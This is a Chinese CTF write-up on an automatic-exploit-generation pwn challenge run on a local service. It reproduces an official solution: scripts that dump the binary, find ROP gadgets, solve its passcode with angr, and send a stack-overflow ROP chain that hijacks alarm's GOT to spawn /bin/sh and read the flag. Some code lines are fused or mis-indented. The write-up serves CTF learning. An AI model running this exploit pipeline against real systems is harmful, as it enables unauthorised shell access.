在本地搭了环境
相关的docker啥的官方给了
在github
搜一下就可

nc一下
在这里插入图片描述先用相应脚本把程序拿出来

import re
import itertools
import string
import codecs
from hashlib import sha256
from pwn import remote, context
import os
import itertools
import datetime
context.log_level = 'debug'


def exp():
    sh = remote('127.0.0.1' , "9997")
    sh.recvuntil("data info------------------\n")
    d = sh.recvuntil("Hi")
    d = d[:-3]
    print d
    with open('out.data', 'wb') as f:
        f.write(d)

    os.system('base64 -d out.data > 1.elf')
    
    sh.interactive()
    

while(1):
    exp()

多拿几个
看一下保护
在这里插入图片描述没有canary、pie、relro

拿到的文件丢到ida看一下
在这里插入图片描述在这里插入图片描述
他让我们运行这个程序,后面带上输入
输入的作用就是作为参数,进去过约束
然后直接就是一个栈溢出。
程序简直不要太简单
我们多来几个文件试试看他在什么地方随机

在这里插入图片描述四个程序
这就显而易见了嘛

约束当然是随机的
栈溢出的长度也是随机的
payload最大长度也是随机的,不过这个应该影响不大。

额外提一句时间是3s

我们一起来瞅瞅官方给的wp咋写的。
get_addr.py

import commands

#封装了一个执行命令行命令的函数
def do_command(cmd_line):
	(status, output) = commands.getstatusoutput(cmd_line)
	return output
​
#在字符串中间找一个字符串
def get_mid_str(data, b_str, e_str, s_pos = 0):
	b_pos = data.find(b_str, s_pos)
	if b_pos == -1:
		return ""
	b_pos += len(b_str)
	e_pos = data.find(e_str, b_pos)
​
	data = data[b_pos:e_pos]
	#print s_pos, b_pos, e_pos
	#print data
	while b_str in data:
		data = data[data.find(b_str)+len(b_str):]
	#print data
	return data
​
#一个写文件操作
def write_file(filename, data, mode = "wb"):
	file_w = open(filename, mode)
	file_w.write(data)
	file_w.close()#对那个dump下来的二进制文件进行处理
#把解题要用的相关信息拿出来丢在angr_deal.conf文件中
def do_angr_conf():
	tmp_file_asm = do_command("objdump -d tmp_file.bin")
​
	b_pos = tmp_file_asm.find("<__libc_start_main@plt>\n")
​
	main_addr = get_mid_str(tmp_file_asm, " mov   $0x", ",%rdi\n", b_pos - 0x80)
	#print main_addr
	b_pos = tmp_file_asm.find("%s:"%main_addr)
	b_pos = tmp_file_asm.find(" <atoi@plt>\n", b_pos)
	deal_func_addr = get_mid_str(tmp_file_asm, "callq ", " <", b_pos)
	print "start_addr =>", deal_func_addr
​
	b_pos = tmp_file_asm.find("%s:"%deal_func_addr)
	s_b_pos = tmp_file_asm.find(" callq ", b_pos - 0x100)
	success = get_mid_str(tmp_file_asm, "$0x1,%eax\n ", ": ", s_b_pos - 0x80)
	print "success =>", success
	f_b_pos = tmp_file_asm.find("leave", b_pos)
	fail = get_mid_str(tmp_file_asm, "$0x0,%eax\n ", ": ", f_b_pos - 0x80)
	print "fail =>", fail
​
	data_write = ""
	data_write += deal_func_addr + "\n"
	data_write += success + "\n"
	data_write += fail + "\n"
​
	write_file("angr_deal.conf", data_write)#进行一些pwn用的设置
#具体来说就是先ROPgadget直接搜要用的gadget
#然后把rop链写在do_pwn_next.conf文件里面一会用
def do_pwn_conf():
	rop_asm = do_command("ROPgadget --binary tmp_file.bin")
​
	rop_map = {}
	rop_map["p_rdi_ret"] = "pop rdi ; ret"
	rop_map["p_rsi_r15_ret"] = "pop rsi ; pop r15 ; ret"
	rop_map["ret_addr"] = "ret"
	rop_map["p_rbp_ret"] = "pop rbp ; ret"
	rop_map["set_args_addr"] = "pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret"
​
	rop_map_val = {}
​
	mov_edx_rbp_p_rbp_ret = 0for line in rop_asm.split("\n"):
		items = line.split(" : ")
		if len(items) != 2:
			continuefor key in rop_map.keys():
		if key not in rop_map_val.keys():
			if items[1] == rop_map[key]:
				rop_map_val[key] = int(items[0], 16)if items[1].startswith("pop rbp ; mov byte ptr [rip + ") and items[1].endswith("], 1 ; ret"):
			mov_edx_rbp_p_rbp_ret = int(items[0], 16) - 10
​
​
		got_data = do_command("objdump -R tmp_file.bin")
		alarm_got = 0for line in got_data.split("\n"):
		items = line.split(" ")
	if len(items) < 3:
		continue
	got_name = items[-1].split("@")[0]
	if got_name == "alarm":
		alarm_got = int(items[0], 16)
	​
	tmp_file_asm = do_command("objdump -d tmp_file.bin")
	b_pos = tmp_file_asm.find(" <read@plt>:\n")
	read_plt = get_mid_str(tmp_file_asm, "\n", " <read@plt>:\n", b_pos - 0x18)
	read_plt = int(read_plt, 16)
	b_pos = tmp_file_asm.find(" <atoi@plt>:\n")
	atoi_plt = get_mid_str(tmp_file_asm, "\n", " <atoi@plt>:\n", b_pos - 0x18)
	atoi_plt = int(atoi_plt, 16)
​
	b_pos = tmp_file_asm.find(" <read@plt>\n")
	#print tmp_file_asm[b_pos-0x100:b_pos+0x10]
	rbp_val = get_mid_str(tmp_file_asm, " lea ", "(%rbp),%rax", b_pos - 0x100)
	#print rbp_val
	rbp_val = int(rbp_val.strip(), 16)
	print "rbp:", hex(rbp_val)
​
	data_write = ""
	data_write += "0x%x\n"%rop_map_val["p_rdi_ret"]
	data_write += "0x%x\n"%rop_map_val["p_rsi_r15_ret"]
	data_write += "0x%x\n"%rop_map_val["ret_addr"]
	data_write += "0x%x\n"%rop_map_val["p_rbp_ret"]
	data_write += "0x%x\n"%mov_edx_rbp_p_rbp_ret
	data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1)
	data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1 - 0x1a)
	data_write += "0x%x\n"%alarm_got
	data_write += "0x%x\n"%read_plt
	data_write += "0x%x\n"%atoi_plt
	data_write += "%s\n"%hex(rbp_val).replace("L", "").replace("l", "")
​
​
	write_file("do_pwn_next.conf", data_write)

​
​
def do_work():
	do_angr_conf()
	do_pwn_conf()
​
​
do_work()

angr_deal.py
利用angr过约束就在这个文件里面

import angr
from angr import *
#from simuvex.procedures.stubs.UserHook import UserHook
​
binary_path = "./tmp_file.bin"
​
stack_addr = 0
​
​
def get_mem(state, addr, size):
	mem = state.memory.load(addr, size)
	#print mem
	return state.se.eval(mem)def gen_cond(state, index):
	"""Returns a symbolic BitVector and contrains it to printable chars for a given state."""
	bitvec = state.se.BVS('c%d'%index, 8, explicit_name=True)
	return bitvec, state.se.And(bitvec >= 0x0, bitvec <= 0xff)
	​
​
def read_file(filename, mode = "rb"):
	file_r = open(filename, mode)
	data = file_r.read()
	file_r.close()
	return data
​
def write_file(filename, data, mode = "wb"):
	file_w = open(filename, mode)
	file_w.write(data)
	file_w.close()def run_angr():#proj = angr.Project(binary_path, load_options={'auto_load_libs': False})
	proj = angr.Project(binary_path)#, load_options={'auto_load_libs': False})


	data = read_file("angr_deal.conf")
	if len(data) > 0:
		items = data.split('\n')
		start_addr = int(items[0], 16)
		success = (int(items[1], 16), )
		fail = (int(items[2], 16), )print (start_addr)
		print (success)
		print (fail)print hex(start_addr)
		print hex(success[0])
		print hex(fail[0])else:
		start_addr = 0x400B57
		success = (0x400C45, )
		fail = (0x400C6C, )#"""
	initial_state = proj.factory.blank_state(addr = start_addr)
​
	r_edi = initial_state.se.BVS('edi', 32)
	initial_state.regs.edi = r_edi
​
	pg = proj.factory.simgr(initial_state, immutable=False)
	pg.explore(find=success, avoid=fail)
	found_state = pg.found[0]
	result = found_state.se.eval(r_edi)
	print hex(result)
	write_file("passcode.conf", "%d"%result)
	exit(0)
​
run_angr()

aeg_pwn.py

from zio import *#用zio做了交互

is_local = True
is_local = False
​
binary_path = "./no"
​
libc_file_path = ""
#libc_file_path = "./libc.so.6"
​
ip = "127.0.0.1"
port = 2333if is_local:
	target = binary_path
else:
	target = (ip, port)#是本地连接还是远程链接

def d2v_x64(data):
	return l64(data[:8].ljust(8, '\x00'))

def d2v_x32(data):
	return l32(data[:4].ljust(4, '\x00'))#32位或者64位的接受吧


def rd_wr_str(io, info, buff):
	io.read_until(info)
	io.write(buff)

def rd_wr_int(io, info, val):
	rd_wr_str(io, info, str(val) + "\n")#两个转字符串函数def get_io(target):
	r_m = COLORED(RAW, "green")
	w_m = COLORED(RAW, "blue")
	#io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
	io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m,env={"LD_PRELOAD":libc_file_path})
	return io
​#就是拿到io

def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()import commands
def do_command(cmd_line):
	(status, output) = commands.getstatusoutput(cmd_line)
	return output
#执行命令def read_file(filename, mode = "rb"):
	file_r = open(filename, mode)
	data = file_r.read()
	file_r.close()
	return data
​#读文件

set_args_addr = 0x400d2a
call_func_addr = 0x400d10def gen_rop(func_got, arg1, arg2 = 0, arg3 = 0, ret_addr = None):
  global set_args_addr, call_func_addr
  #set_args_addr
  payload = ""
  payload += l64(set_args_addr)
  payload += l64(0)           #pop rbx = 0
  payload += l64(1)           #pop rbp
  payload += l64(func_got)     #pop r12
  payload += l64(arg3)         #pop r13
  payload += l64(arg2)         #pop r14
  payload += l64(arg1)         #pop r15
  if ret_addr != None:
      payload += l64(ret_addr)
  else:
      payload += l64(call_func_addr)return payload
​#编写payloaddef do_pwn_next(io):
	global set_args_addr, call_func_addr
	p_rdi_ret = 0x0000000000400d33
	p_rsi_r15_ret = 0x0000000000400d31
	p_rbp_ret = 0x400B55
	ret_addr = 0x0000000000400b31
​
	mov_edx_rbp_p_rbp_ret = 0x4008E8 #adc     [rbp+48h], edx
​
	read_plt                   = 0x00000000004007e0
	alarm_got                 = 0x0000000000602038
	atoi_plt   = 0x400800
​
	data = read_file("do_pwn_next.conf")
	val_list = []
	#写了个文件,又把相关数据读了出来
	#感觉有点麻烦
	
	for line in data.strip().split("\n"):
	val_list.append(int(line, 16))
	print hex(int(line, 16))
​
	p_rdi_ret = val_list[0]
	p_rsi_r15_ret = val_list[1]
	ret_addr = val_list[2]
	p_rbp_ret = val_list[3]
	mov_edx_rbp_p_rbp_ret = val_list[4]
	set_args_addr = val_list[5]
	call_func_addr = val_list[6]
	alarm_got = val_list[7]
	read_plt = val_list[8]
	atoi_plt = val_list[9]
​
	rbp_add_val = val_list[10]#对数据进行一些处理之后再写出来
​
	bss_addr = 0x00601000 + 0xa00
​
	pre_payload = ""
	pre_payload += 'a'*(0-rbp_add_val)
	pre_payload += 'b'*8
	#重点是在preload中填充的长度也要通过angr来获得
​
	payload = ""
	payload += l64(p_rdi_ret) + l64(0)
	payload += l64(p_rsi_r15_ret) + l64(bss_addr)*2
	payload += l64(read_plt)
​
	payload += gen_rop(bss_addr, 0, 0, 0x5)
	payload += gen_rop(bss_addr, 0, 0, 0x5)[:-8]
	payload += l64(p_rbp_ret) + l64(alarm_got - 0x48)
	payload += l64(mov_edx_rbp_p_rbp_ret) * 2#set rax = 0x3b
	payload += l64(p_rdi_ret) + l64(bss_addr + 0x20 + 0*2)
	payload += l64(atoi_plt)
	#execve("/bin/sh", 0, 0)
	payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0)
	#payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0)[:-8]
	payload += "\n"#io.gdb_hint()
	#print repr(payload)
	print hex(len(payload))
​
	payload = pre_payload + payload
	print payload[:-1].find("\n")#payload还分成了两个部分,但是总起来讲是劫持了alarm的got表

	#io.gdb_hint()
	io.write(payload)#raw_input(":")import time
	time.sleep(0.5)
	payload = ""
	payload += l64(ret_addr)
	payload += "/bin/sh\x00".ljust(0x18, '\x00')
	payload += "59\x00"
	payload += "\n"
	io.write(payload)
	time.sleep(0.5)

​
	io.writeline("id")
	io.writeline("ls -al")
	io.writeline("cat flag 2>&1")
	io.writeline("exit")
	io.interact()def pwn(io):
	io.read_until("------------------data info------------------\n")
	data = io.read_until("\n").strip()
	data = data.decode("base64")
	print(len(data))
	write_file("tmp_file.bin", data)
	#print repr(data.decode("base64")[:4])#文件都卸载tmp_file.bin里面

	io.read_until("code:")
	do_command("chmod +x tmp_file.bin")
	do_command("python get_addr.py")
	do_command("python angr_deal.py")#执行三个命令	

	data = read_file("passcode.conf")
#do_command("rm tmp_file.bin luckynum.conf")#从文件里面读数据,这里的数据应该是调用angr过了约束得到的

	data = data.strip()
	io.writeline(data)#对数据进行处理然后写回去

	do_pwn_next(io)#调用这个函数进行后面的利用

	io.interact()
​
io = get_io(target)
#先拿到io
pwn(io)
exit(0)

整体来说题目难度不大
wp感觉稍微写的有点繁琐
但是里面对rop链的编写很值得学习

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐